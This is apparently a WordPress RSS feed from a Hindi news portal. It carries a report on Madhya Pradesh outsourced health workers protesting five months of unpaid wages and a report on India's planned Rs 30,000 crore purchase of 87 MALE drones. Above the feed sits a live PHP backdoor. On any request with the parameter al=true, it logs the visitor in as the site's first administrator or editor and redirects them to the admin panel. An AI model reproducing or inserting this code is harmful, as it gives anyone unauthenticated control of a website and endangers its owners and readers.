// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); 30 – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 24 May 2026 05:50:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 MP के 30 हजार स्वास्थ्य कर्मियों का हल्ला बोल, 5 महीने से वेतन नहीं मिलने पर आंदोलन का ऐलान https://pratyushaashakinayikiran.com/?p=221941 Sun, 24 May 2026 05:50:00 +0000 https://pratyushaashakinayikiran.com/?p=221941 भोपाल

मध्य प्रदेश संविदा आउटसोर्स स्वास्थ्य कर्मचारी संघ ने प्रदेशभर के आउटसोर्स स्वास्थ्य कर्मचारियों से 25 मई को भोपाल के नीलम पार्क में एकत्र होकर धरना-प्रदर्शन करने का आह्वान किया है। कर्मचारियों का कहना है कि उन्हें पिछले पांच से छह महीनों से वेतन नहीं मिला है, जिससे आर्थिक संकट गहरा गया है। प्रदर्शन के बाद कर्मचारी उपमुख्यमंत्री निवास पहुंचकर ज्ञापन सौंपेंगे। मांगें नहीं मानी गईं तो भूख हड़ताल शुरू करने की चेतावनी भी दी गई है।
30 हजार कर्मचारी दे रहे हैं सेवाएं

संघ के प्रदेश अध्यक्ष कोमल सिंह ने बताया कि प्रदेश के मेडिकल कॉलेज, जिला अस्पताल, सामुदायिक स्वास्थ्य केंद्र, प्राथमिक स्वास्थ्य केंद्र और मुख्यमंत्री संजीवनी क्लीनिक सहित विभिन्न स्वास्थ्य संस्थानों में करीब 30 हजार आउटसोर्स कर्मचारी सेवाएं दे रहे हैं। इसके बावजूद कर्मचारियों को समय पर वेतन, नौकरी की सुरक्षा और न्यूनतम वेतन जैसी मूलभूत सुविधाएं नहीं मिल रही हैं।

निजी एजेंसियों की मनमानी और शोषण का आरोप

संघ का आरोप है कि निजी एजेंसियों और अधिकारियों की मनमानी के कारण कर्मचारियों का शोषण हो रहा है। शासन द्वारा स्वीकृत राशि और कर्मचारियों को मिलने वाले वास्तविक भुगतान में बड़ा अंतर है। कर्मचारियों को आठ से 12 हजार रुपए तक वेतन दिया जा रहा है, जबकि न्यूनतम 26 हजार रुपए मासिक वेतन की मांग लंबे समय से की जा रही है।

कर्मचारी संघ की प्रमुख मांगें

संघ ने आउटसोर्स कर्मचारियों के नियमितीकरण, समान कार्य के बदले समान वेतन, सामाजिक सुरक्षा, अवकाश सुविधा, मातृत्व अवकाश और निजी एजेंसियों को ब्लैकलिस्ट करने जैसी प्रमुख मांगें उठाई हैं।

 

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नईदिल्ली 

30,000 Crore Drone Deal: ऑपरेशन सिंदूर के बाद सरकार देश की सेनाओं को रॉकेट की रफ्तार से मॉर्डर बनाने में जुटी है. इस कारण करीब-करीब हर हफ्ते हजारों करोड़ के प्रोजेक्ट को मंजूरी दी जा रही है. मोटे तौर पर देखें तो देश में एयर फोर्स के पास फाइटर जेट की कमी ही सबसे बड़ी समस्या दिखती है. इस समय एयरफोर्स के पास केवल 31 स्क्वाड्रन बचे हैं जबकि जरूरत कम से कम 42 स्क्वाड्रन की है. इस कमी को पूरा करने के लिए कई मोर्चे पर काम चल रहा है. लेकिन, इस बीच भारत ने आसमान में अपनी बादशाहत कायम रखने के लिए अन्य कई सौदों को अंतिम रूप दिया है. दरअसल, ऑपरेशन सिंदूर के बाद जानकारों का मानना है कि पाकिस्तान बौखलाया हुआ है. इस ऑपरेशन में उसको ऐसी मार पड़ी है जिसकी उसने सपने में भी कल्पना नहीं की होगी. ऐसे में माना जा रहा है कि वह इस चोट का बदला लेने के लिए चीन के साथ मिलकर भारत के खिलाफ कभी भी कोई बड़ी साजिश रच सकता है. इस तरह भारत अपनी सुरक्षा तैयारियों में तनिक भी चूक या कमी बर्दाश्त नहीं कर सकता है.

एयरफोर्स के फाइटर जेट की कमी को पूरा करने के लिए भारत राफेल, सुखोई और देसी फाइटर जेट तेजस को लेकर कई स्तरों पर काम कर रहा है. लेकिन, आसमान में बादशाहत कायम करने के लिए केवल फाइटर जेट्स ही जरूरी नहीं है. इसके अलावा भी कई तरह के जहाज और मिसाइलें चाहिए. तभी जाकर कोई एयरफोर्स मुकम्मल तौर पर ताकतवर बन पाती है. ऐसे में भारत मिसाइलों, एयर डिफेंस, जासूसी जहाजों, राडार सिस्टम और ड्रोन्स पर खूब खर्च कर रही है. क्योंकि आधुनिक जंग में ये चीजें पहले की तुलना में काफी ज्यादा महत्वपूर्ण हो गई हैं.
87 मेल ड्रोन्स

दरअसल, भारतीय सेना ने 87 मेडियम एल्टीट्यूड लॉन्ग एंडुरेंस यानी MALE ड्रोन्स खरीदने की योजना बनाई है. ये एक तरह से बेबी फाइटर जेट्स हैं. इस पर करीब 30 हजार करोड़ रुपये खर्च होंगे. ये इतने पैसे हैं कि इसमें कई छोटे देश पूरा रक्षा बजट तैयार करते हैं. यानी इस एक मेल ड्रोन की कीमत करीब 350 करोड़ आएगी.

इकोनॉमिक टाइम्स की एक रिपोर्ट के मुताबिक इस डील के लिए भारतीय कंपनियों को तैयार किया जा रहा है. हालांकि फिलहाल वे पूरी तरह सक्षम नहीं हो पाई हैं. बावजूद इसके सरकार ने इस डील के लिए देसी कंपनियों की शर्त जोड़ दी है. अब मंगलवार को भारतीय कंपनियों को इसका टेंडर जारी किया जा सकता है. सरकार की योजना इस सौदे के साथ देश में ड्रोन निर्माण के लिए एक इकोसिस्टम बनाने की है, जिससे आने वाले वक्त में भारत किसी पर निर्भर न रहे.

अब इस सौदे में शामिल होने के लिए विदेशी कंपनियां भारतीय कंपनियों के साथ साझेदारी को दौड़ रही हैं ताकि वे उनको ड्रोन्स के लिए जरूरी उपकरणों की सप्लाई कर सकें. इन कंपनियों में इजरायली कंपनी एल्बिट और अमेरिकी जनरल एटॉमिक्स के नाम सबसे आगे हैं. अभी सरकार ने देसी में ड्रोन निर्माण में 50 फीसदी स्वदेशी कंटेंट की शर्त रखी है. ऐसे में इन विदेशी कंपनियों को काफी स्कोप दिख रहा है. रक्षा मंत्रालय के मुताबिक इस करीब 30 हजार करोड़ रुपये का सौदा सबसे कम बोली लगाने वाली दो कंपनियों को दिया जाएगा, ताकि कम से कम दो ड्रोन निर्माण प्लेयर तैयार किया जा सके.

 

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